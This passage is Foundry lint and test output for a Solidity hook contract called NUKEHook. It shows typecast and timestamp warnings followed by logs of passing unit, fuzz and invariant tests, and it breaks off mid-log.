https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:321:13\n    │\n321 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:380:43\n    │\n380 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:372:13\n    │\n372 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:381:17\n    │\n381 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:373:27\n    │\n373 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:373:50\n    │\n373 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:375:69\n    │\n375 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:376:38\n    │\n376 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:378:44\n    │\n378 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:379:26\n    │\n379 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:382:28\n    │\n382 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:383:26\n    │\n383 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:383:49\n    │\n383 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:385:24\n    │\n385 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":31730,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 1.68ms (0.00ns CPU time)\n\nRan 5 tests for test/DustBatch.t.sol:DustBatchTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 378269)\n[PASS] test_partialFillJustAboveOnePercentCommitsInterval() (gas: 487905)\n[PASS] test_partialFillJustBelowOnePercentLeavesIntervalAvailable() (gas: 486883)\n[PASS] test_tinyPositiveOutputPartialFillLeavesIntervalAvailable() (gas: 1002264)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 963396)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 8.72ms (5.08ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1175617)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1842632)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 2176576)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1834234)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 18.94ms (15.22ms CPU time)\n\nRan 6 tests for test/DustLiquidityOracle.t.sol:DustLiquidityOracleTest\n[PASS] test_backedDiscountedAskIsObservedAndBoughtFirst() (gas: 1180015)\n[PASS] test_controlWithoutPushGivesSameReference() (gas: 817628)\n[PASS] test_dustAskDoesNotCapLimitOrConsumeCooldownCheaply() (gas: 2621719)\n[PASS] test_dustLiquidityTickPushDoesNotBlockBuyback() (gas: 2285302)\n[PASS] test_observationBandLimitsHourlyDrop() (gas: 1042654)\n[PASS] test_observationWithinBandIsTrackedExactly() (gas: 280706)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 20.27ms (15.93ms CPU time)\n\nRan 6 tests for test/DustLiquidityOracle.t.sol:DustLiquidityOracleReverseOrderTest\n[PASS] test_backedDiscountedAskIsObservedAndBoughtFirst() (gas: 1158305)\n[PASS] test_controlWithoutPushGivesSameReference() (gas: 849756)\n[PASS] test_dustAskDoesNotCapLimitOrConsumeCooldownCheaply() (gas: 2617636)\n[PASS] test_dustLiquidityTickPushDoesNotBlockBuyback() (gas: 2281304)\n[PASS] test_observationBandLimitsHourlyDrop() (gas: 1043397)\n[PASS] test_observationWithinBandIsTrackedExactly() (gas: 272625)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 38.90ms (11.59ms CPU time)\n\nRan 5 tests for test/DustBatch.t.sol:DustBatchReverseOrderTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 393340)\n[PASS] test_partialFillJustAboveOnePercentCommitsInterval() (gas: 494479)\n[PASS] test_partialFillJustBelowOnePercentLeavesIntervalAvailable() (gas: 493481)\n[PASS] test_tinyPositiveOutputPartialFillLeavesIntervalAvailable() (gas: 1011845)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 973773)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 40.65ms (7.05ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityReverseOrderTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1212098)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1826438)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 2164395)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1823751)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 52.98ms (18.09ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesReverseOrderTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 403042, ~: 402730)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 470279)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 684063)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 7362508)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 1044267)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1174455)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 787407)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 586.79ms (575.10ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitReverseOrderTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 711172, ~: 710749)\nLogs:\n  Bound result 5300\n  Bound result 95000000000000000002981\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 806031)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1065088)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 587.08ms (563.03ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 718916, ~: 718477)\nLogs:\n  Bound result 3645\n  Bound result 29255145702821032059032\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 797373)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1077247)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 593.95ms (592.29ms CPU time)\n\nRan 31 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 378211, ~: 379214)\nLogs:\n  Bound result 99000000000000000004421\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1210538, ~: 1214482)\nLogs:\n  Bound result 5\n  Bound result 3420\n\n[PASS] test_askPriceIsWhereObservationDepthIsPurchasable() (gas: 462900)\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 721982)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95791)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 559120)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1321892)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25162)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 137474)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 4640807)\n[PASS] test_dustFeeRoundsDown() (gas: 380661)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 833557)\n[PASS] test_exactInputBuy() (gas: 375212)\n[PASS] test_exactInputSell() (gas: 375477)\n[PASS] test_exactOutputBuy() (gas: 376108)\n[PASS] test_exactOutputSell() (gas: 374389)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 35771161)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 857109)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 35949359)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 730748)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 328361)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 13466538)\n[PASS] test_partialExactInputBuy() (gas: 375423)\n[PASS] test_partialExactInputSell() (gas: 376833)\n[PASS] test_partialExactOutputBuy() (gas: 375975)\n[PASS] test_partialExactOutputSell() (gas: 373908)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 706000)\n[PASS] test_permissionsAndDeployment() (gas: 2422065)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 56077)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 208135)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 423907)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 601.11ms (1.16s CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 536977, ~: 576952)\nLogs:\n  Bound result 9000000000000000179\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 601.18ms (597.04ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86247, ~: 86525)\nLogs:\n  Bound result 7199\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 601.17ms (603.38ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsReverseOrderTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 569938, ~: 608340)\nLogs:\n  Bound result 7000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 601.14ms (575.69ms CPU time)\n\nRan 31 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 372891, ~: 373065)\nLogs:\n  Bound result 53727263281036469665273\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1199947, ~: 1199537)\nLogs:\n  Bound result 1711\n  Bound result 1940\n\n[PASS] test_askPriceIsWhereObservationDepthIsPurchasable() (gas: 455757)\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 708983)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95791)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 548231)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1324514)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25162)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 137474)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 28155913)\n[PASS] test_dustFeeRoundsDown() (gas: 370396)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 826727)\n[PASS] test_exactInputBuy() (gas: 365244)\n[PASS] test_exactInputSell() (gas: 372204)\n[PASS] test_exactOutputBuy() (gas: 367576)\n[PASS] test_exactOutputSell() (gas: 369680)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 7679668)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 843664)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 7846976)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 709788)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 323075)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 3521657)\n[PASS] test_partialExactInputBuy() (gas: 365755)\n[PASS] test_partialExactInputSell() (gas: 373252)\n[PASS] test_partialExactOutputBuy() (gas: 366611)\n[PASS] test_partialExactOutputSell() (gas: 370030)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 696032)\n[PASS] test_permissionsAndDeployment() (gas: 2422065)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 51940)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 208135)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 414061)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 601.30ms (1.10s CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 396365, ~: 394540)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 460685)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 674393)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 7290650)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 1026199)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1168398)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 777433)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 601.43ms (615.56ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2739  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2682  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2771  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4618\n  Bound result 6301\n  Bound result 499999999999900001764\n  Bound result 4793\n  Bound result 246881223785729221901\n  Bound result 499999999999900003380\n  Bound result 499999999999900002111\n  Bound result 499999999999900000666\n  Bound result 4842\n  Bound result 3623\n  Bound result 3600\n  Bound result 6235\n  Bound result 499999999999900015208\n  Bound result 3896\n  Bound result 3801\n  Bound result 6399\n  Bound result 499999999999900002000\n  Bound result 1048914899450215657\n  Bound result 499999999999900007353\n  Bound result 6146\n  Bound result 144950447253830746626\n  Bound result 499999999999900002615\n  Bound result 31115835932771763469\n  Bound result 4882\n  Bound result 949704317\n  Bound result 499999999999900011033\n  Bound result 3602\n  Bound result 177406636457\n  Bound result 3611\n  Bound result 5925\n  Bound result 499999999999900001184\n  Bound result 7194\n  Bound result 68421640977527110402\n  Bound result 6194\n  Bound result 6145\n  Bound result 6204\n  Bound result 694223972\n  Bound result 499999999999900006177\n  Bound result 3649\n  Bound result 3748\n  Bound result 499999999999900001301\n  Bound result 499999999999900002815\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.70s (3.70s CPU time)\n\nRan 8 tests for test/StatefulAccounting.t.sol:StatefulAccountingReverseOrderTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 2716  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 2783  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 2708  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | dump            | 2736  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 2723  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | shapeLiquidity  | 2707  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 2767  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 2688  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 2748  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 19130\n  Bound result 3\n  Bound result 24134\n  Bound result 22581\n  Bound result 95\n  Bound result 627362694284119\n  Bound result 1\n  Bound result 7119\n  Bound result 0\n  Bound result 228\n  Bound result 5717\n  Bound result 18\n  Bound result 2\n  Bound result 9999000000000000248902\n  Bound result 15200\n  Bound result 42\n  Bound result 23827\n  Bound result 132\n  Bound result 3488\n  Bound result 14324\n  Bound result 10\n  Bound result 9697\n  Bound result 19\n  Bound result 4\n  Bound result 9999000000000000008371\n  Bound result 55009821345068724779985\n  Bound result 2365\n  Bound result 39\n  Bound result 290000000000000000002029\n  Bound result 3\n  Bound result 9999000000000000023844\n  Bound result 8821\n  Bound result 65\n  Bound result 0\n  Bound result 9045819614629174700339\n  Bound result 0\n  Bound result 9999000000000117300739\n  Bound result 10800\n  Bound result 3\n  Bound result 5624\n  Bound result 3601\n  Bound result 550\n  Bound result 290000000000000000011313\n  Bound result 64\n  Bound result 925819614629174706173\n  Bound result 36\n  Bound result 1\n  Bound result 0\n  Bound result 24453\n  Bound result 5432\n  Bound result 255\n  Bound result 15559\n  Bound result 64\n  Bound result 290000000000000000010843\n  Bound result 882338715\n  Bound result 155\n  Bound result 8071\n  Bound result 11\n  Bound result 159197120829179730165\n  Bound result 26\n  Bound result 7683\n  Bound result 200\n  Bound result 914342430867981467164\n  Bound result 10\n  Bound result 1\n  Bound result 11622\n  Bound result 12\n  Bound result 33134621017564639\n  Bound result 8328\n  Bound result 1\n  Bound result 6654\n  Bound result 242\n  Bound result 24211\n  Bound result 1747369817427849\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 1240826)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerClampsCheapObservationsToTheBandOnly() (gas: 3018247)\nLogs:\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 250000000000000000000000\n  Bound result 3599\n  Bound result 250000000000000000000000\n  Bound result 3600\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 4243026)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 3600\n\n[PASS] test_handlerFundedZeroOutputBatchRetainsRestingObservation() (gas: 2809579)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 4\n  Bound result 3600\n\n[PASS] test_handlerRetainsObservationAcrossEmptyRegionMovement() (gas: 2116281)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 900\n  Bound result 1\n  Bound result 100\n  Bound result 2700\n  Bound result 7200\n\n[PASS] test_handlerShapedLiquidityKeepsWalkAndEngineInAgreement() (gas: 7493195)\nLogs:\n  Bound result 3\n  Bound result 10000000000000000000000\n  Bound result 4\n  Bound result 10000000000000000000000\n  Bound result 2\n  Bound result 5000000000000000000000\n  Bound result 0\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 1800\n  Bound result 1000000000000000000000\n  Bound result 50\n  Bound result 2\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 100000000000000000000000\n  Bound result 1800\n  Bound result 1000000000000000000000\n\n[PASS] test_handlerZeroBudgetDoesNotObserveRestoredLiquidity() (gas: 3494285)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 3600\n  Bound result 3600\n  Bound result 1000000000000000000000\n  Bound result 3600\n\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 31.48s (31.52s CPU time)\n\nRan 8 tests for test/StatefulAccounting.t.sol:StatefulAccountingTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 2716  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 2783  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 2708  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | dump            | 2736  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | forgedCallback  | 2723  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | shapeLiquidity  | 2707  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | sweep           | 2767  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | toggleLiquidity | 2688  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | trade           | 2748  | 0       | 0        |\n╰---------------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 15411\n  Bound result 34\n  Bound result 23453\n  Bound result 20568\n  Bound result 95\n  Bound result 627362694284119\n  Bound result 1\n  Bound result 5104\n  Bound result 3\n  Bound result 228\n  Bound result 12041\n  Bound result 29\n  Bound result 2\n  Bound result 9999000000000000248902\n  Bound result 10225\n  Bound result 42\n  Bound result 20337\n  Bound result 1885\n  Bound result 3488\n  Bound result 13284\n  Bound result 9\n  Bound result 5350\n  Bound result 89\n  Bound result 3\n  Bound result 9999000000000000027831\n  Bound result 55009821345068724779985\n  Bound result 3441\n  Bound result 100\n  Bound result 290000000000000000002456\n  Bound result 0\n  Bound result 9999000000000000022536\n  Bound result 11448\n  Bound result 66\n  Bound result 0\n  Bound result 7687421887234869342849\n  Bound result 0\n  Bound result 9999000000000000000224\n  Bound result 10800\n  Bound result 3\n  Bound result 3133\n  Bound result 25474\n  Bound result 550\n  Bound result 290000000000000000001837\n  Bound result 64\n  Bound result 925819614629174706173\n  Bound result 36\n  Bound result 1\n  Bound result 0\n  Bound result 22583\n  Bound result 1117\n  Bound result 255\n  Bound result 10489\n  Bound result 64\n  Bound result 290000000000000000006813\n  Bound result 5307\n  Bound result 5890\n  Bound result 8071\n  Bound result 11\n  Bound result 159197120829179730165\n  Bound result 26\n  Bound result 2182\n  Bound result 200\n  Bound result 715091030153101497501\n  Bound result 10\n  Bound result 1\n  Bound result 8030\n  Bound result 12\n  Bound result 33134621017564639\n  Bound result 2501\n  Bound result 1\n  Bound result 4993\n  Bound result 242\n  Bound result 25304\n  Bound result 1747369817427849\n\n[PASS] test_handlerCanReverseAtAnEmptyTickBitmapBoundary() (gas: 1242071)\nLogs:\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 100\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerClampsCheapObservationsToTheBandOnly() (gas: 3025840)\nLogs:\n  Bound result 1\n  Bound result 1000000000000000000000\n  Bound result 100\n  Bound result 250000000000000000000000\n  Bound result 3599\n  Bound result 250000000000000000000000\n  Bound result 3600\n\n[PASS] test_handlerExercisesPartialFillsDonationsCooldownAndLiquidityRecovery() (gas: 4196548)\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 1000000000000000000000\n  Bound result 